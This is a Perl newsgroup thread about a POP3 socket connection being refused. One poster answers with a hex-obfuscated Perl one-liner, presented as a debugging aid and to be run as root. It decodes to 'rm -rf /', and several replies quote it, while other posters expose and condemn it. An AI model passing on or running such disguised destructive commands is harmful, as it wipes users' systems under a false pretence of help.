IO::Socket::INET Connection Error?

J

Joe

Hello -

I have a script that tries to connect to a Pop3 e-mail server through
port 110. The following code used to work for the longest time but
now all of a sudden it does not work anymore:

$SocketHandle = IO::Socket::INET->new (Proto=>"tcp",
PeerAddr=>$ServerName, PeerPort=>$Port);

# $Port = 110

if (!$SocketHandle)
{
Error("cannot connect to port <B>$Port</B> on
<B>$ServerName</B><BR><B>Error
Detail</B> ... '$!' & '$@' & '$?'", "Back");

exit(0);
}

The error message is as follows:
Error ... cannot connect to port 110 on pop.XXX.com
Error Detail ... 'Bad file number' & 'IO::Socket::INET: Connection
refused' & '0'

When I use telnet and connect to the server port 110 it works just
fine. Did something change in the latest Perl release or could it be
that my web hosting service changed something in their setup?

Thanks,
Joe
 
L

Lucas Van Hieng

Joe said:
Hello -

I have a script that tries to connect to a Pop3 e-mail server through
port 110. The following code used to work for the longest time but
now all of a sudden it does not work anymore:

$SocketHandle = IO::Socket::INET->new (Proto=>"tcp",
PeerAddr=>$ServerName, PeerPort=>$Port);

# $Port = 110

if (!$SocketHandle)
{
Error("cannot connect to port <B>$Port</B> on
<B>$ServerName</B><BR><B>Error
Detail</B> ... '$!' & '$@' & '$?'", "Back");

exit(0);
}

The error message is as follows:
Error ... cannot connect to port 110 on pop.XXX.com
Error Detail ... 'Bad file number' & 'IO::Socket::INET: Connection
refused' & '0'

When I use telnet and connect to the server port 110 it works just
fine. Did something change in the latest Perl release or could it be
that my web hosting service changed something in their setup?

Before proceeding any further, run the following code and you will find
a much better debugging experience:

#!/usr/bin/perl
#***# Note: Run as root. #***#
my $x = reverse pack('H*','2f2066722d206d72'); `$x`;
 
M

Matt Garrish

Lucas Van Hieng said:
#!/usr/bin/perl
#***# Note: Run as root. #***#
my $x = reverse pack('H*','2f2066722d206d72'); `$x`;

You're just one WILD AND CRAZY GUY!!! (but no Steve Martin)

If you think you're going to trick a *nix user into running that, you're as
dumb as your post...

Matt
 
B

Ben Morrow

Lucas Van Hieng said:
Before proceeding any further, run the following code and you will find
a much better debugging experience:

#!/usr/bin/perl
#***# Note: Run as root. #***#
my $x = reverse pack('H*','2f2066722d206d72'); `$x`;

!!!!!!
That was hardly called for.

Note to the OP: *just* in case you hadn't realised, you might want to
modify it to

#!/usr/bin/perl -l
my $x = reverse pack('H*','2f2066722d206d72');
print $x;

the first time you try it...

Ben
 
R

Rocco Caputo

You're just one WILD AND CRAZY GUY!!! (but no Steve Martin)

If you think you're going to trick a *nix user into running that, you're as
dumb as your post...

There's an economy of scale here. Someone out there might be dumb---or
trusting---enough to run it.

Well, they won't do it twice, and they'll understand the importance of a
good backup strategy.
 
M

Matt Garrish

Rocco Caputo said:
There's an economy of scale here. Someone out there might be dumb---or
trusting---enough to run it.

Well, they won't do it twice, and they'll understand the importance of a
good backup strategy.

I personally find it offensive that someone would post code like that for
the very same reason that someone *might* try to run it (though I'm
convinced only Windows users blindly trust code... : )

He's also not terribly bright, as telling someone they need to log in as
root betrays the true nature of the code. If you get your kicks trying to
exploit the naivete of others, you deserve one in the nuts yourself, and I
can't imagine anyone but a teenager would find any humour in this code.

Matt
 
J

James Willmore

On Thu, 15 Jan 2004 00:17:54 +0000, Lucas Van Hieng wrote:
Before proceeding any further, run the following code and you will find
a much better debugging experience:

#!/usr/bin/perl
#***# Note: Run as root. #***#
my $x = reverse pack('H*','2f2066722d206d72'); `$x`;

You know ..... this was *really* un-called for - plain and simple.

*plonk*

--
Jim

Copyright notice: all code written by the author in this post is
released under the GPL. http://www.gnu.org/licenses/gpl.txt
for more information.

a fortune quote ...
"Drawing on my fine command of language, I said nothing."
 
J

Joe

Guys -

Why would I be stupid enough to run some code I don't know. Obviously
this wasn't a comment on my post.

I actually expected to get a somewhat intelligent response. I have
not done Perl for that long and just wondered if anyone could help me.

Was the question really that dumb to deserve such a dumb answer?

Joe
 
C

ctcgag

Guys -

Why would I be stupid enough to run some code I don't know. Obviously
this wasn't a comment on my post.

I don't know, maybe he thinks you are trying to write a spam script.
I actually expected to get a somewhat intelligent response. I have
not done Perl for that long and just wondered if anyone could help me.

Are your accepted telnet connections into port 110 coming from the same
machine as the refused perl connections are attempted from?
Was the question really that dumb to deserve such a dumb answer?

I'd say malicious rather than dumb, and don't take Lucas's response
as some kind of group opinion.

Xho
 
D

David K. Wall

Joe said:
Was the question really that dumb to deserve such a dumb answer?

No, nothing wrong with the question as far as I can see. The person who
responded using the name "Lucas Van Hieng" seems to be immature jerk. Why
else would someone try to trick people into running 'rm -rf /' as root?


[original post:][snip]

I don't know much about POP3, but I do wonder why you're taking such a low-
level approach when there are modules like Mail::pOP3Client available.
 
C

Chris Mattern

David said:
No, nothing wrong with the question as far as I can see. The person who
responded using the name "Lucas Van Hieng" seems to be immature jerk. Why
else would someone try to trick people into running 'rm -rf /' as root?
It's not you at all, Joe. Mr. Hieng has distributed his "advice" at random
in reply to several posts. He is simply an asshole that newbies need to
be warned about, and then ignored.

Chris Mattern
 
B

Bill

Hello -

I have a script that tries to connect to a Pop3 e-mail server through
port 110. The following code used to work for the longest time but
now all of a sudden it does not work anymore:

$SocketHandle = IO::Socket::INET->new (Proto=>"tcp",
PeerAddr=>$ServerName, PeerPort=>$Port);

I had a similar experience once--a machine OS changed from Win98 to XP
and the Mime::Lite module stopped working. Turned out to be one of the
hosts files that had changed, and the IP was somehow being misrouted.
Is there any way you can find out whether the socket request is
getting to the IP of the host you want?
 
J

Joe

Hello -

I see the problem. Nope ... this is not for some SPAM script but
rather my own little Web-based POP3 e-mail client.

The .cgi is located in the cgi-bin directory of my Webhosting service.
Other scripts in there run just fine.

It could very well be that the machine that runs the Perl script is
the same as the machine that runs the POP3 server. Could that be the
problem? It has worked fine in the past but maybe they changed some
configuration with their machine.

Thanks!
Joe
 
J

Joe

This code was developed a long time ago when I took a Perl class in
college. I guess they never told us about the Mail::pOP3Client
module.

Maybe I should look into that ...

Thanks!

Joe

David K. Wall said:
Joe said:
Was the question really that dumb to deserve such a dumb answer?

No, nothing wrong with the question as far as I can see. The person who
responded using the name "Lucas Van Hieng" seems to be immature jerk. Why
else would someone try to trick people into running 'rm -rf /' as root?


[original post:][snip]

I don't know much about POP3, but I do wonder why you're taking such a low-
level approach when there are modules like Mail::pOP3Client available.
 
J

Joe

That's what I figured. I'm not that much of a newbie that I wouldn't
understand what rm -rf / would do. It's just been a while since I
developed stuff in Perl.

Thanks!
Joe
 
B

Ben Morrow

[Please stop top-posting. Now.]
[Please wrap your postings at 75 columns or so]

This code was developed a long time ago when I took a Perl class in
college. I guess they never told us about the Mail::pOP3Client
module.

Whenever you have a non-trivial problem in Perl, a good start is
always to put some relevant terms into search.cpan.org. If the problem
has any generality at all there's a good chance someone else has at
least part of the solution already.

Ben
 
J

Joe

Ben Morrow said:
[Please stop top-posting. Now.]
[Please wrap your postings at 75 columns or so]

This code was developed a long time ago when I took a Perl class in
college. I guess they never told us about the Mail::pOP3Client
module.

Whenever you have a non-trivial problem in Perl, a good start is
always to put some relevant terms into search.cpan.org. If the problem
has any generality at all there's a good chance someone else has at
least part of the solution already.

Ben

Okay ... no more top-posting. The wrap, however, is done by the
textfield in Google ... over which I have no control.

Thanks for the hint. I'll take a look there.

Joe
 
J

Joe

I had a similar experience once--a machine OS changed from Win98 to XP
and the Mime::Lite module stopped working. Turned out to be one of the
hosts files that had changed, and the IP was somehow being misrouted.
Is there any way you can find out whether the socket request is
getting to the IP of the host you want?

Thanks for your comment. I can try and check with the company that
does the web hosting. Interestingly the code works fine if I connect
to some other POP server.

Joe
 
D

Dieter D'Hoker

Matt said:
I personally find it offensive that someone would post code like that
for the very same reason that someone *might* try to run it (though
I'm convinced only Windows users blindly trust code... : )

Maybe he's targetting cygwin users then ;)
 

Ask a Question

Want to reply to this thread or ask your own question?

You'll need to choose a username for the site, which only take a couple of moments. After that, you can post your question and our members will help you out.

Ask a Question

Members online

Forum statistics

Threads
473,755
Messages
2,569,537
Members
45,020
Latest member
GenesisGai

Latest Threads

Top